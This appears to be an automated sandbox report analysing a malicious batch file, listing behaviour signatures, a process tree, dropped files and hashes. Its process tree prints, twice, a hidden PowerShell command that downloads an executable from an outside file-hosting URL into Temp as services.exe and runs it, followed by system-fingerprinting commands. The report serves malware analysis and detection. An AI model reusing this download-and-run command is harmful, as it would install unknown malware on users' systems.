Analysis

  • max time kernel
    509s
  • max time network
    406s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/07/2024, 17:48

General

  • Target

    frdddd.bat

  • Size

    255B

  • MD5

    7cfc0e137d5d8b7f808add077083360b

  • SHA1

    af7b34d385fdfcb6c1e0b37ce3908dcc437f3da9

  • SHA256

    596217a3228f37bd8ac0ea92db6fc1b9fab378b96aea86ecd72e822809d948c5

  • SHA512

    9b02fec89d4dfe4982a824c6b2f3c345c670285718e04c81d0e39e463e9d8f366fff04d892aea6464ef6a644c791aa86429c67e1411bfba6935385f047098ae0

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Drops file in Windows directory 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 8 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Runs ping.exe 1 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\frdddd.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$tempFile = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'services.exe'); Invoke-WebRequest -Uri 'https://pomf2.lain.la/f/fx2lvav.img' -OutFile $tempFile; Start-Process $tempFile -NoNewWindow -Wait"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Users\Admin\AppData\Local\Temp\services.exe
        "C:\Users\Admin\AppData\Local\Temp\services.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4380
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ping -n 1 1.1.1.1
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:5048
          • C:\Windows\SysWOW64\PING.EXE
            ping -n 1 1.1.1.1
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:3972
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic csproduct get uuid
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2008
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic csproduct get uuid
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4840
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4176
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\frdddd.bat" "
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2320
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "$tempFile = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'services.exe'); Invoke-WebRequest -Uri 'https://pomf2.lain.la/f/fx2lvav.img' -OutFile $tempFile; Start-Process $tempFile -NoNewWindow -Wait"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4700
        • C:\Users\Admin\AppData\Local\Temp\services.exe
          "C:\Users\Admin\AppData\Local\Temp\services.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4836
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ping -n 1 1.1.1.1
            4⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4208
            • C:\Windows\SysWOW64\PING.EXE
              ping -n 1 1.1.1.1
              5⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:1940
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c wmic csproduct get uuid
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3520
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              wmic csproduct get uuid
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:2252
    • C:\Users\Admin\AppData\Local\Temp\services.exe
      "C:\Users\Admin\AppData\Local\Temp\services.exe"
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3100
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ping -n 1 1.1.1.1
        2⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:4692
        • C:\Windows\SysWOW64\PING.EXE
          ping -n 1 1.1.1.1
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:516
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c wmic csproduct get uuid
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:652
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          wmic csproduct get uuid
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4628
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Drops file in Windows directory
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4568
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:424
      • C:\Users\Admin\AppData\Local\Temp\services.exe
        services.exe
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4164
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ping -n 1 1.1.1.1
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2180
          • C:\Windows\SysWOW64\PING.EXE
            ping -n 1 1.1.1.1
            4⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:5064
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic csproduct get uuid
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:928
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2696

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      4180fc1109043ba70ff0e5ff26a9e1f8

      SHA1

      799702b71147d7a5e8f1b71714a2b859909767d2

      SHA256

      e1e2f4279d95c9f895c364e055769f17a9aefbb12e34cdebbefb9d345adc4836

      SHA512

      fb74451d2dc999cf2db3e458ba98c272125a086c3b9561400a182221d1678485f4a8a41521ccf954706772c6f68fcbf41774aa446ff66044da42477bfc284364

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      aece9f8e9e62edea0f3703e245e1a208

      SHA1

      2af0a0b21427556b4263f095175f24503a21ca58

      SHA256

      a0a51173f487e8c99c99cfb4d10d013ad60c90311461658f0e58fedc8b18d8f5

      SHA512

      f4f2cffe4c318de2fe29f256db9c285b32d0e74de9ac8d37e614dd94f94afd914c848a29756de1e557550ac895788dc86f2875bb5f763324fc8fb3b3ec74758b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4aeyrsak.zf4.ps1

      Filesize

      1B

      MD5

      c4ca4238a0b923820dcc509a6f75849b

      SHA1

      356a192b7913b04c54574d18c28d46e6395428ab

      SHA256

      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

      SHA512

      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

    • C:\Users\Admin\AppData\Local\Temp\services.exe

      Filesize

      4.5MB

      MD5

      b85914d36703377812cba113ca4638b7

      SHA1

      3c68a49b599dac13f4cb7cd327ad7c9c15313381

      SHA256

      2ef086862494efd63cfacf30753bb2df9dd55f18d04e71fb912e79d47657b9d3

      SHA512

      45ae20f08b16c8056cf4cd5a7e65f4f6b593cf41ca63431d0db153ddcfbbf28b1bff92800093cf48ca4b66c35afd3a626862559a247052b2ff5dc4c426a29a07

    • memory/1736-20-0x00007FF80AF10000-0x00007FF80B8FC000-memory.dmp

      Filesize

      9.9MB

    • memory/1736-8-0x0000021978120000-0x0000021978196000-memory.dmp

      Filesize

      472KB

    • memory/1736-25-0x00007FF80AF10000-0x00007FF80B8FC000-memory.dmp

      Filesize

      9.9MB

    • memory/1736-9-0x00007FF80AF10000-0x00007FF80B8FC000-memory.dmp

      Filesize

      9.9MB

    • memory/1736-2-0x00007FF80AF13000-0x00007FF80AF14000-memory.dmp

      Filesize

      4KB

    • memory/1736-38-0x00007FF80AF13000-0x00007FF80AF14000-memory.dmp

      Filesize

      4KB

    • memory/1736-5-0x0000021977F70000-0x0000021977F92000-memory.dmp

      Filesize

      136KB

    • memory/1736-47-0x00007FF80AF10000-0x00007FF80B8FC000-memory.dmp

      Filesize

      9.9MB

    • memory/3100-85-0x0000000000400000-0x0000000000E59000-memory.dmp

      Filesize

      10.3MB

    • memory/4164-96-0x0000000000400000-0x0000000000E59000-memory.dmp

      Filesize

      10.3MB

    • memory/4380-37-0x0000000000400000-0x0000000000E59000-memory.dmp

      Filesize

      10.3MB

    • memory/4380-43-0x0000000000400000-0x0000000000E59000-memory.dmp

      Filesize

      10.3MB

    • memory/4380-42-0x000000000082C000-0x00000000009CE000-memory.dmp

      Filesize

      1.6MB

    • memory/4380-41-0x000000000082C000-0x00000000009CE000-memory.dmp

      Filesize

      1.6MB

    • memory/4700-83-0x00000189CDDC0000-0x00000189CDEEC000-memory.dmp

      Filesize

      1.2MB

    • memory/4836-79-0x0000000000400000-0x0000000000E59000-memory.dmp

      Filesize

      10.3MB